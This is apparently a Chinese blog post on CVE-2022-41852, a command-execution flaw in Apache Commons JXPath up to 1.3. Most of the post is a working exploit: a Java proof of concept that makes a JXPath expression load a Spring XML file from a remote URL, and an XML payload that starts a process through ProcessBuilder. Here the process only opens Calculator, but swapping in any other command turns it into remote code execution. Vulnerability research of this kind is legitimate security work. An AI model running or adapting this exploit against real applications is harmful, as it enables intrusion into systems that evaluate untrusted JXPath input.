Apache Commons Jxpath命令执行漏洞CVE-2022-41852

最新推荐文章于 2024-08-07 09:16:49 发布

5wimming

最新推荐文章于 2024-08-07 09:16:49 发布

阅读量1.9k

点赞数

分类专栏：安全文章标签： apache 安全

本文链接：https://blog.csdn.net/qq_34101364/article/details/127680672

版权

安全专栏收录该内容

58 篇文章 17 订阅

订阅专栏

JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API

受影响的版本

commons-jxpath:commons-jxpath [0, 1.3]

修复方案

该组件已停止维护，未修复

依赖包

<dependency>
  <groupId>commons-jxpath</groupId>
  <artifactId>commons-jxpath</artifactId>
  <version>1.3</version>
</dependency>

poc

需要在spring环境下运行

package com.payload.desc;

import org.apache.commons.jxpath.JXPathContext;

public class CommonsJXpathPoc {
    public static class Person {
        String name;
        String website;
    }

    /**
     * Hardcoded person object for PoC
     */
    private static final Person person = new Person();

    public static void main(String[] args) {
        JXPathContext context = JXPathContext.newContext(person);
        Object result = context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:51212/payload.xml\")");
    }
}

xml payload

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>open</value>
                <value><![CDATA[/System/Applications/Calculator.app]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>